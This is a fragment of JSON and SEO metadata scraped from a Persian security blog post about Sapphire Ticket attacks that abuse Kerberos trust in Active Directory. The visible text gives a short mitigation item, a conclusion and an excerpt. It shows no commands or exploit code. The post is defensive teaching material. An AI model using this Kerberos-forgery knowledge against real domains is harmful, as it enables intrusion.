                              • \u06a9\u0627\u0647\u0634 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 NTLM \u0648 \u0627\u0637\u0645\u06cc\u0646\u0627\u0646 \u0627\u0632 \u0631\u0639\u0627\u06cc\u062a \u0628\u0647\u062f\u0627\u0634\u062a \u0635\u062d\u06cc\u062d \u0633\u0631\u0648\u06cc\u0633 \u067e\u0631\u06cc\u0646\u0633\u06cc\u067e\u0627\u0644\u200c\u0647\u0627<\/span><\/li>\n<\/ul>\n
                                \u062f\u0631 \u06a9\u0648\u062a\u0627\u0647\u200c\u0645\u062f\u062a\u060c \u062d\u0645\u0644\u0627\u062a Sapphire Tickets \u0628\u0627\u0639\u062b \u062a\u0628\u062f\u06cc\u0644 \u0645\u06a9\u0627\u0646\u06cc\u0632\u0645\u200c\u0647\u0627\u06cc \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 \u0627\u0639\u062a\u0645\u0627\u062f Kerberos \u0628\u0647 \u0628\u0631\u062f\u0627\u0631\u0647\u0627\u06cc \u0628\u0627\u0644\u0642\u0648\u0647 \u062d\u0645\u0644\u0627\u062a \u067e\u0646\u0647\u0627\u0646\u06cc \u0645\u06cc\u200c\u0634\u0648\u0646\u062f \u06a9\u0647 \u0622\u06af\u0627\u0647\u06cc \u0648 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0622\u0646\u200c\u0647\u0627 \u0631\u0627 \u062f\u0631 \u0645\u062d\u06cc\u0637\u200c\u0647\u0627\u06cc Active Directory \u0645\u062f\u0631\u0646 \u0636\u0631\u0648\u0631\u06cc \u0645\u06cc\u200c\u0633\u0627\u0632\u062f.<\/span><\/p>\n
                                 <\/p>\n","protected":false},"excerpt":{"rendered":"
                                \u062d\u0645\u0644\u0627\u062a Sapphire Ticket \u0634\u06a9\u0644\u06cc \u067e\u06cc\u0634\u0631\u0641\u062a\u0647 \u0627\u0632 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u067e\u0631\u0648\u062a\u06a9\u0644 Kerberos \u062f\u0631 \u0645\u062d\u06cc\u0637\u200c\u0647\u0627\u06cc Active Directory \u0628\u0647\u200c\u0634\u0645\u0627\u0631 \u0645\u06cc\u200c\u0631\u0648\u0646\u062f. \u0628\u0627 \u06af\u0633\u062a\u0631\u0634 \u0631\u0648\u0632\u0627\u0641\u0632\u0648\u0646 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 Active Directory\u060c \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0646\u06cc\u0632 \u0628\u0647\u200c\u0637\u0648\u0631 \u0645\u062f\u0627\u0648\u0645 \u062f\u0631 \u062d\u0627\u0644 \u062a\u06a9\u0627\u0645\u0644 \u0631\u0648\u0634\u200c\u0647\u0627\u06cc \u062e\u0648\u062f \u0628\u0631\u0627\u06cc \u062f\u0648\u0631 \u0632\u062f\u0646 \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u0647\u0627\u06cc \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0647\u0633\u062a\u0646\u062f. \u0628\u0647\u200c\u0639\u0646\u0648\u0627\u0646 \u0646\u0645\u0648\u0646\u0647\u060c \u062f\u0631 \u062a\u062d\u0648\u0644\u0627\u062a \u0627\u062e\u06cc\u0631 \u0627\u06cc\u0646 \u062d\u0648\u0632\u0647\u060c \u062d\u0645\u0644\u0627\u062a Diamond Ticket \u0648 Sapphire Ticket \u0645\u0639\u0631\u0641\u06cc \u0634\u062f\u0647\u200c\u0627\u0646\u062f \u06a9\u0647 …<\/p>\n","protected":false},"author":14,"featured_media":19351,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[258,274,349],"tags":[],"class_list":["post-19338","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-teaching","category-articles-1","category-slides"],"yoast_head":"\n\u062d\u0645\u0644\u0647\u200c\u06cc Sapphire Ticket \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0645\u062e\u0631\u0628 \u0627\u0632 \u0633\u0627\u0632\u0648\u06a9\u0627\u0631 \u0627\u0639\u062a\u0645\u0627\u062f \u062f\u0631 \u067e\u0631\u0648\u062a\u06a9\u0644 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a Kerberos - \u0628\u0644\u0627\u06af \u06af\u0631\u0648\u0647 \u0644\u06cc\u0627\u0646<\/title>\n<meta name=\"description\" content=\"\u062d\u0645\u0644\u0627\u062a Sapphire Ticket \u0634\u06a9\u0644\u06cc \u067e\u06cc\u0634\u0631\u0641\u062a\u0647 \u0627\u0632 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u067e\u0631\u0648\u062a\u06a9\u0644 Kerberos \u062f\u0631 \u0645\u062d\u06cc\u0637\u200c\u0647\u0627\u06cc Active Directory \u0628\u0647\u200c\u0634\u0645\u0627\u0631 \u0645\u06cc\u200c\u0631\u0648\u0646\u062f.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/liangroup.net\/blog\/sapphire-ticket-attack-abusing-kerberos-trust\/\" \/>\n<meta property=\"og:locale\" content=\"fa_IR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u062d\u0645\u0644\u0647\u200c\u06cc Sapphire Ticket \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0645\u062e\u0631\u0628 \u0627\u0632 \u0633\u0627\u0632\u0648\u06a9\u0627\u0631 \u0627\u0639\u062a\u0645\u0627\u062f \u062f\u0631 \u067e\u0631\u0648\u062a\u06a9\u0644 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a Kerberos\" \/>\n<meta property=\"og:description\" content=\"\u062d\u0645\u0644\u0627\u062a Sapphire Ticket \u0634\u06a9\u0644\u06cc \u067e\u06cc\u0634\u0631\u0641\u062a\u0647 \u0627\u0632 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u067e\u0631\u0648\u062a\u06a9\u0644 Kerberos \u062f\u0631 \u0645\u062d\u06cc\u0637\u200c\u0647\u0627\u06cc Active Directory \u0628\u0647\u200c\u0634\u0645\u0627\u0631 \u0645\u06cc\u200c\u0631\u0648\u0646\u062f.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/liangroup.net\/blog\/sapphire-ticket-attack-abusing-kerberos-trust\/\" \/>\n<meta property=\"og:site_name\" content=\"\u0628\u0644\u0627\u06af \u06af\u0631\u0648\u0647 \u0644\u06cc\u0627\u0646\" \/>\n<meta property=\"article:published_time\" content=\"2025-05-13T08:39:03+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/05\/u2u_2.png\" \/>\n\t<meta property=\"og:image:width\" content=\"721\" \/>\n\t<meta property=\"og:image:height\" content=\"631\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"\u0633\u062c\u0627\u062f \u062a\u06cc\u0645\u0648\u0631\u06cc\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@liansecurity\" \/>\n<meta name=\"twitter:site\" content=\"@liansecurity\" \/>\n<meta name=\"twitter:label1\" content=\"\u0646\u0648\u0634\u062a\u0647\u200c\u0634\u062f\u0647 \u0628\u062f\u0633\u062a\" \/>\n\t<meta name=\"twitter:data1\" content=\"\u0633\u062c\u0627\u062f \u062a\u06cc\u0645\u0648\u0631\u06cc\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u0632\u0645\u0627\u0646 \u062a\u0642\u0631\u06cc\u0628\u06cc \u0628\u0631\u0627\u06cc \u062e\u0648\u0627\u0646\u062f\u0646\" \/>\n\t<meta name=\"twitter:data2\" content=\"21 \u062f\u0642\u06cc\u0642\u0647\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/liangroup.net\\\/blog\\\/sapphire-ticket-attack-abusing-kerberos-trust\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/liangroup.net\\\/blog\\\/sapphire-ticket-attack-abusing-kerberos-trust\\\/\"},\"author\":{\"name\":\"\u0633\u062c\u0627\u062f \u062a\u06cc\u0645\u0648\u0631\u06cc\",\"@id\":\"https:\\\/\\\/liangroup.net\\\/blog\\\/#\\\/schema\\\/person\\\/e328f67a35a843fd3accc4666b5eab0a\"},\"headline\":\"\u062d\u0645\u0644\u0647\u200c\u06cc Sapphire Ticket \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0645\u062e\u0631\u0628 \u0627\u0632 \u0633\u0627\u0632\u0648\u06a9\u0627\u0631 \u0627\u0639\u062a\u0645\u0627\u062f \u062f\u0631 \u067e\u0631\u0648\u062a\u06a9\u0644 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a 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